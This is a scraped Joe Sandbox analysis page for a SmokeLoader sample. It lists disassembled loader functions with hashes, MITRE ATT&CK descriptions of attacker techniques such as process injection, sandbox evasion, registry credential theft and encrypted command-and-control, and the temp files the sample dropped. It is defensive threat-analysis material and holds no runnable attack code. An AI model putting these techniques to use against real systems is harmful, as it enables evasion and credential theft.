Opcode Fuzzy Hash: 1116fd35f8b690966260491feb7ff7e4415ced47bcc92838e410c90d1b3601aa
Instruction Fuzzy Hash: BA11EDB0708204E7D620AA449B4DB6A3324AB51714F308077B9837A1C1D9FC9A07BBAF

Function 00402993 Relevance: 1.6, APIs: 1, Instructions: 54
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 004029EE

Memory Dump Source

Source File: 00000010.00000002.3927540281.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3927368040.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000010.00000002.3927694935.0000000000404000.00000080.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_hfetwhc.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: c586a7f7552cfa1264bdfd6446e6af8fa62c48e7815e9ce7a11aec56ea3c76bc
Instruction ID: 435834e2c39daa923cd5fadee32533bbbd7b41fdf8ed414aea64f9f221a811b8
Opcode Fuzzy Hash: c586a7f7552cfa1264bdfd6446e6af8fa62c48e7815e9ce7a11aec56ea3c76bc
Instruction Fuzzy Hash: 4B01AD71708100EBD7209A548B8DBA93720EB40714F2080B7E5467A1C2C9F8AA47BF6B

Function 004029AE Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 004029EE

Memory Dump Source

Source File: 00000010.00000002.3927540281.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3927368040.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000010.00000002.3927694935.0000000000404000.00000080.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_hfetwhc.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 5a071c98681e7d0b87df0d8d00c5fcc42721b749d79cd25973cd75420e8f5f16
Instruction ID: 5d0c9aa573ddbf1b5d1aef5dd4ea0e86145ae8e07b52c401b3230758a671744f
Opcode Fuzzy Hash: 5a071c98681e7d0b87df0d8d00c5fcc42721b749d79cd25973cd75420e8f5f16
Instruction Fuzzy Hash: 85018471708104E7DB20AA849B49BAD7320AB40714F3080B7B5437A1C1D9FC9A57BF6F

Function 004029B9 Relevance: 1.5, APIs: 1, Instructions: 45
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 004029EE

Memory Dump Source

Source File: 00000010.00000002.3927540281.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3927368040.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000010.00000002.3927694935.0000000000404000.00000080.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_hfetwhc.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: d8adf41a1b4864ea6d1a655086c93c2f4e0cb93a71ccb4490598b37b5feb4ad6
Instruction ID: 680402693e7b9acc8b3619b38c705919dffa9aa4bf8e7b0a6659c80f6f187f6c
Opcode Fuzzy Hash: d8adf41a1b4864ea6d1a655086c93c2f4e0cb93a71ccb4490598b37b5feb4ad6
Instruction Fuzzy Hash: B8012831308244D7C721D6649A4DB6EBB60AF41714F2440EBD5837A0C2C9B89407FF5B

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\BD1F.tmp

C:\Users\user\AppData\Local\Temp\BD1F.tmp-shm

C:\Users\user\AppData\Local\Temp\C08B.tmp

C:\Users\user\AppData\Local\Temp\C281.tmp

C:\Users\user\AppData\Local\Temp\C699.tmp

C:\Users\user\AppData\Local\Temp\C794.tmp

C:\Users\user\AppData\Local\Temp\C96A.tmp

C:\Users\user\AppData\Local\Temp\CA26.tmp

C:\Users\user\AppData\Local\Temp\CB6F.tmp

C:\Users\user\AppData\Local\Temp\D700.zip

Windows Analysis Report
172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre